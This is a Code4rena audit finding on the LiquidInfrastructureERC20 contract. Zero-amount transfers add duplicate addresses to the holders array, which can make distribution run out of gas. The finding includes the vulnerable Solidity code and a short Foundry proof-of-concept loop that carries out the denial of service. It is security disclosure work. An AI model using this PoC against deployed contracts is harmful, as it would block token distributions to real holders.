Platform: Code4rena
Start Date: 13/02/2024
Pot Size: $24,500 USDC
Total HM: 5
Participants: 84
Period: 6 days
Judge: 0xA5DF
Id: 331
League: ETH
Rank: 83/84
Findings: 1
Award: $7.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
LiquidInfrastructureERC20
implements the _beforeTokenTransfer
hook, which checks whether the address that the token is transferred to is a holder or not, this check is done by bool exists = (this.balanceOf(to) != 0)
, but when transferring 0 tokens by any address to an approved holder with a balance of 0, the exists
boolean will always be false, and the address will be added to the holders
array. As result when the distribute
function is called, it has to loop through all the duplicate addresses in the array which will lead to higher gas fees and possibly out of gas error.
function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { require(!LockedForDistribution, "distribution in progress"); if (!(to == address(0))) { require( isApprovedHolder(to), "receiver not approved to hold the token" ); } if (from == address(0) || to == address(0)) { _beforeMintOrBurn(); } bool exists = (this.balanceOf(to) != 0); if (!exists) { holders.push(to); } }
uint i; for (i = nextDistributionRecipient; i < limit; i++) { address recipient = holders[i]; if (isApprovedHolder(recipient)) { uint256[] memory receipts = new uint256[]( distributableERC20s.length ); for (uint j = 0; j < distributableERC20s.length; j++) { IERC20 toDistribute = IERC20(distributableERC20s[j]); uint256 entitlement = erc20EntitlementPerUnit[j] * this.balanceOf(recipient); if (toDistribute.transfer(recipient, entitlement)) { receipts[j] = entitlement; } } emit Distribution(recipient, distributableERC20s, receipts); } }
function DosLiquidInfrastructureERC20() external { vm.startPrank(_attacker); for (uint256 i = 0; i < 1000; i++) { _infraERC20.transfer( _approvedHolder, // approved holder 0 // token amount ); } // the holders array will have 1000 address of the same _approvedHolder vm.stopPrank(); }
Foundry
DoS
#0 - c4-pre-sort
2024-02-22T04:25:07Z
0xRobocop marked the issue as duplicate of #77
#1 - c4-judge
2024-03-04T13:16:03Z
0xA5DF marked the issue as satisfactory